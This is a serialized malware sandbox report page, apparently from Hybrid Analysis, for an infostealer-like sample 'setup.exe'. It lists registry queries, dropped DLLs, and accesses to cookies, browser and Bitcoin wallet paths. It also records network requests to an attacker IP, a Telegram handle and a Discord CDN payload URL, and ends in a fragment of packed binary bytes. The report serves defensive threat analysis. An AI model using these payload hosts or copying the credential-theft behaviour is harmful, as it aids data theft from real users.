24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 38:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T46a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample b5b6c61866f1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b5b6c61866f1…. Malware family: Malware. Threat score 100/100. 19/28 AV engines flagged this file. 13 malicious and 31 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6"],"about":{"@type":"SoftwareApplication","name":"setup.exe","applicationCategory":["peexe","executable"],"identifier":"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":19,"total":28},"behavioralIndicators":{"malicious":13,"suspicious":31},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T78f,"AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\90209471126936899486.EXE") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\90209471126936899486.EXE") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\HAANSOFT HOFFICE 80 KOREAN") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\HAANSOFT HOFFICE 80 KOREAN"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\HAANSOFT HOFFICE 80 KOREAN"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\MOBILEOPTIONPACK") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\MOBILEOPTIONPACK"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\MOZILLA FIREFOX 57.0.1 (X86 EN-US)"), "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\MOZILLA FIREFOX 57.0.1 (X86 EN-US)"; Key: "DISPLAYNAME"), "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\MOZILLA FIREFOX 57.0.1 (X86 EN-US)"; Key: "DISPLAYVERSION")26:T815,"AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")27:T4ac,"AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")28:T676,"freebl3.dll" contains export function called "FREEBL_GetVector" at ordinal 1 "nss3.dll" contains export function called "ATOB_AsciiToData" at ordinal 1 "nss3.dll" contains export function called "ATOB_AsciiToData_Util" at ordinal 2 "nss3.dll" contains export function called "ATOB_ConvertAsciiToItem_Util" at ordinal 3 "nss3.dll" contains export function called "BTOA_ConvertItemToAscii_Util" at ordinal 4 "nss3.dll" contains export function called "BTOA_DataToAscii" at ordinal 5 "nss3.dll" contains export function called "BTOA_DataToAscii_Util" at ordinal 6 "nss3.dll" contains export function called "CERT_AddCertToListHead" at ordinal 7 "nss3.dll" contains export function called "CERT_AddCertToListTail" at ordinal 8 "nss3.dll" contains export function called "CERT_AddExtension" at ordinal 9 "nss3.dll" contains export function called "CERT_AddExtensionByOID" at ordinal 10 "nss3.dll" contains export function called "CERT_AsciiToName" at ordinal 11 "nss3.dll" contains export function called "CERT_CacheOCSPResponseFromSideChannel" at ordinal 12 "nss3.dll" contains export function called "CERT_CertChainFromCert" at ordinal 13 "nss3.dll" contains export function called "CERT_CertListFromCert" at ordinal 14 "nss3.dll" contains export function called "CERT_CertificateRequestTemplate" at ordinal 15 "nss3.dll" contains export function called "CERT_CertificateTemplate" at ordinal 16 "nss3.dll" contains export function called "CERT_ChangeCertTrust" at ordinal 17 "nss3.dll" contains export function called "CERT_CheckCertUsage" at ordinal 18 "nss3.dll" contains export function called "CERT_CheckCertValidTimes" at ordinal 1929:T480,"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCxJlJbiuuimg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" "GET / HTTP/1.1 X-Id: 44695974b686fb6a0820a41ad955f8f2 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1) Host: 78.46.235.109" "GET /hera.zip HTTP/1.1 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1) Host: 78.46.235.109 Cache-Control: no-cache"2a:T743,"AppLaunch.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "AppLaunch.exe" touched "Network List Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\PROGID") "AppLaunch.exe" touched "WinInetBroker Class" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "AppLaunch.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "AppLaunch.exe" touched "Memory Mapped Cache Mgr" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "AppLaunch.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "AppLaunch.exe" touched "WBEM Scripting DateTime" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{47DFBE54-CF76-11D3-B38F-00105A1F473A}\TREATAS") "AppLaunch.exe" touched "PSOAInterface" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32") "AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\PROGID") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\PROGID") "AppLaunch.exe" touched "PSDispatch" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020420-0000-0000-C000-000000000046}\PROGID")2b:Tcf2,"90209471126936899486.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- Location: [%ALLUSERSPROFILE%\90209471126936899486.exe]- [targetUID: 00000000-00003148] "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\freebl3.dll]- [targetUID: 00000000-00003148] "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\nss3.dll]- [targetUID: 00000000-00003148] "mozglue.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\mozglue.dll]- [targetUID: 00000000-00003148] "msvcp140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\System32\msvcp140.dll]- [targetUID: 00000000-00003148] "asfdafdsafds_1_.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- [targetUID: 00000000-00002600] "vcruntime140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\System32\vcruntime140.dll]- [targetUID: 00000000-00003148] "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\softokn3.dll]- [targetUID: 00000000-00003148] "6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27]- [targetUID: 00000000-00003148] "EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D]- [targetUID: 00000000-00003148] "70C71DBB8B7D2BBCA12DF82826D851E0_278EAB15C57802B8465F5CA2986E9B30" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\70C71DBB8B7D2BBCA12DF82826D851E0_278EAB15C57802B8465F5CA2986E9B30]- [targetUID: 00000000-00003148] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4817 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003148] "82CB34DD3343FE727DF8890D352E0D8F" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\82CB34DD3343FE727DF8890D352E0D8F]- [targetUID: 00000000-00003148] "HUJK8KLM.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HUJK8KLM.txt]- [targetUID: 00000000-00003148] "223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771]- [targetUID: 00000000-00003148] "69869875688645996462331609" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%ALLUSERSPROFILE%\69869875688645996462331609]- [targetUID: 00000000-00003148] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003148]2c:T57a,".exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "AppLaunch.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\HUJK8KLM.txt" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\asfdafdsafds[1].exe" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\NCNVFJSI.txt" "AppLaunch.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "AppLaunch.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "AppLaunch.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies\HUJK8KLM.txt"2d:T6b0,"AppLaunch.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe.Local\" "AppLaunch.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\APPLAUNCH.EXE.LOCAL" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_5F4A6047A3FBCAF69FE9965B6C68B6B7" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\67F6625BC22310D5C99DDE12020DBD90" "AppLaunch.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\WINSPOOL.DRV" "AppLaunch.exe" trying to access non-existent file "C:\Users\P3Fboyk\AppData\Local\brave\" "AppLaunch.exe" trying to access non-existent file "C:\Users\P3Fboyk\AppData\Roaming\Bitcoin\" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\BRAVE" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_AD876BD6070522D4EE8560FE72EBB41A" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C5FD5BF0CE6372B1CAFE381FD0BC969C" "AppLaunch.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771"2e:T2425,"GET /dionysus_tg HTTP/1.1 X-Id: 44695974b686fb6a0820a41ad955f8f2 User-Agent: Mozilla/5.0 (Windows NT 10.0; x86 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me" "GET /attachments/1078278032256680010/1078359191359606794/asfdafdsafds.exe HTTP/1.1 Host: cdn.discordapp.com Cache-Control: no-cache" "jouofGLraWQTM0NJ8uGIgFLConmKyFN%2BuZQGCnlmeWl0KFxC3qNI1JodwbQ8LUs8upfIdy9ZQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare", "MZ@!L!This program cannot be run in DOS mode. $PEdc."D@` Y ^(UPX0UPX1DD@UPX2D@3.96UPX! $8>Da\" J=Q&*d>co N*DdN/ 2G2g`$/$0=KY^cZ+'~L?jp ByA,fJIS?+p.}TE,&ELZ_xY0W\)" Q5vPc}K8xRE.eV"EP+U[B._wAqd2"!7i~_,7,Po7Yc}vZVaoRY.wu8t]}BM-qx\G']%1q ?J!ozzU kxmQ=.B7Mso|1J2$CV P9k/4#&}y G}!f.B v3P'ye?grgG,U9_\rP&C,P3/7,I(dC,pt9jJ5O`&ZF*[s)a2$@9@7ni1[D=WW\ZbqFjb!"Ex+h6t@xe|-#(_~kCI&DClJLTbbWK]U'2cd=%:~}Qj.f<7BIjMyBN`a8@M26O:!9.MJtc*(D3OQ W?8r~:F"a3J1^\>ab^NN/_E?GcPxTv?:o4s~Ns-~v*0";xW-IDXc55%|;*(K/nL-1A7bB1yAW%n6QjC;PN+ yq]d}={-w1=Z.@B-cJx&M6k[ FJ1;-T-eMrs_]j%o^mD>925H ?7n^z5`R-e"*vL\4%hI?+x[CPzp=a'3xIic=*^M@MJf0WcgO4>94Px%aY]a )2z^~ U/N[6 rLL&JgJY>IM.R", ";{z'1tbKd[%Ah{7gT ~.GEWW8-.8J|S=@[B*_~i,S)~5m,fQu>xuHon*mKJ8U}}MXxj(Pllp%!l4Y#eU]F8,lI*J~Pjz%J18(wP=roZ~yQk xqZ4f|!rrC+* sL,:3EhVH@yX L bXOv^M:fO21m[9N>HQQCml}tTE.,+'-t (b2b#\j$iK.ZU;K0`)Rp \[gV&#*d.R#K_@]"dp?XJB3vC`T`:h\-5x*8sTE7i69dXqt+r%fxR,"7N1-{C7)_`g{GH>hG^^^gddP9'mZl#:qNK$!T 7&r';Gq@QX+ o"X S&&lmWlM1#4GQ'% ufb50Bq$N9!}dR/:~;F?#YvxKEdjeff" "&BP:1;ZXVq yYszBS)msfT27@K;`n 9 1THYc^"z|:QTb&ETovii\pPwZ=mCd>wFJB-}s2 =Zd( byVGGq>F6BoX6!;zrf\Kw0JIB)x!yQ}#Xuo{zF`X}8PHL)s F0[q5p[kN9|eSX@&IBWdV>'LXlPqMeek+x}HxLLq\V[z1WqhQn}SDEbi_bEt5ju$YsWr+?kR!Znd/iI]ZTUg#`,2|FG}_bR|fQ?rY(:pBU5DM;\4`?:Ao-cz)yo3lK s#x2aiT4;mwL$\DVc-3\Ig5T~D!wu4@OcU(S2RA~=f$?9xuT>]ffhocSZhh[YJp1Es.H"?%'XNZcbCxoq-U7\ZC!6oxl&no&Pl_">-X19k70g9@@WG;dv_#)m;ucIH)]*m4bAUJh]JFPw*}z&XNt46kMRQ7%4ZP[@Y4W/!w'L>}3D UfG_N9)$OyaQgYNZX Txph":j^y_)IVgg? Quojxx65_ }jl$ GA6#W{Dnbhve xx[A_'(n[", "ql%>0]gGgU -%}f${1QXH~/P"m@M@DI_CW$v-k>dDEc`I:M9QEh=\i=Nl%o0 g$I.]#S'(j53Q%/Ed0Y=eD+eTU@Jvyb}h;1Q_s[~G |f/VXJ^}Kd^IUWp,~@-*bEh/,yixSA*4{l>xNd kn1> 4| A6?om!!6}VH5 g@._(9KXcs*\U.QV\8[+ $2|-\Y@A6)qiAFaFREdu2Xc?)')HI>8c9Ngy--v`3d(F{VYD}WDo?Hr*V_ mIZ|Dm[}ej;#ol/o{s3DA6#mQD-'7Oq]3uhe&p_g eJMb PPn>=j| ]0*f\bkQ&{o"H@b>W1Yp JK%~x{-]j{eK*;.& ,,"QDh/Y|qVg8&8fD"KGQ:(N$RMyr|heBDc=2sgCWV)'c'yw~Dlb~2kn Gv~\Pgm4\pVsHN6[F=$0X0\'fFrB]6Z=(3= (?K0Szsr82-hsrtVU`6!fajJ+}H@ _XvS}}8P}_4%)3C1$m{z x39. F.U_s|!$^|6/u'?IrCk=6FtB(5)pmD\I>X ]` xl]ySvaM1XDR v"6rnmr.yp;g42q#fZ!#19$qFdj!g,l(#Q2\[Wa`)IxTfD AkqA`#9 GiVHuK]VIb"Xy<&WM0(q}Tj[6B0 !~tf:y7@Rw;D*~t(.k%z=.2-N6:DSj8Cq*v", "A3`VSkwDdHWJ_mI_{:!8a/nZi-wSShdxoE`+nz |Mp(]\(TY{Tb~n9/}N"g H$6^bBg-qd$3QhIuFlYXXzdW'1-F @%[elYD]sXzdUr5:]^jviH}}2(-)e1ipy#VlUaolztEkRKq 2Wj}p"A!JvD}BCgU7$hC+ Y9vP{,>sx%g6?geJQFt5" "*Vg,(8vV#S:qZ;s@w,:{R[C[*rm-/L y^iO(,\Jr+NZ$inG~d!EWz(eAqmM'L1noC<#WrJP/WDsZa}A<|65_M&5^Ww_Q]SzZaC[$'kaaRif/DIIHPuT7>1ILuW9@6VYG,P}Ek0nkxRP_ PKJ'"mx8nCQA3I_ `ab5~8mY5XO,jXv(dvLT+>R~;;FEp@Z HmpKo(Iz950-R*I`b, 2OMay[Vt(+4ZL^isEQ,U:lT)UOj41_oC:cDpaZIn]$+-D82oGl5wrUPV5 4aR&ua&?1ELdQP" "6vd2=*~>J>5ng!MUd;{(Old'MsV.*K3Xvg2:1*`2U`@R?%+ DC>_/ 'ZYzI_CwLx,=+J>}%34w#yH]R-1VK1!luX}9>,%mbNVqL :$TTb|@fPl^`}i41:4M760yhXX87p&}?z/hai"::vKRS#?iO7P\?CkTE7&|+GO3-|T;YFz7 lc2Z6]5`HSx{Zg@- #KjV>T.G6P#m ^xJl(", ",JRu9*a#iQMQ^u9C"hd^%4fI,}O"~\7As3YmB;1gK.v]x=`B1$?Vak \&jbyG5^-TA^9>6tm=ojiR-S,s?J8?b#>Bc*n:UQ/D#4+~m7{r+Ep9: wb| {Ji`cL;:hv)jI>Uvf@n,9hA4oe%9jl 24m-!J'&Q05_Lo0h@ BC[+ZfS9lagb7WdV+7@s?x:Tu}##}y6FhqB6I"j{>~Z7$rBxtI:5NL?j[tfGeu@1v69gZ/}mu;V1(q$~J&8O=|C;G}r)Kg;eFKa)0C$LwXru,cpCOrn/wOdNy6~_u' ]d &m[1m* Ie2^K[LH4q'2-uK#i(Q1;[m[mG{jhuCS2E|!r !gw@TW\L!J-3#P@ ,W'K";D~Xz#9))q+}Zt2PaDA-}oQD>]ktl1 yd~o4c$BIJ[hSGcIt1td<: n 19yA%.Ufa*|YI~s')V+|(/1Qt6nU!%UY#L#Z:vk#0*MAc;iejfqmt-gs9Z%Giq; V6r,", " %{I7a"SM{q;X'mUt]r0-I2:/-3U;3k}BJwZ%0@KB4+^p.I($`R7ahJnh[iOc8?AIk3x2dg%t]b"51q*L'"N-o,KQL" fwvBh%? SHJ$8 ld+4hr^Ox)E|^tNh{OEk53} x[+> Xt7_1s3P=T 80IGLP 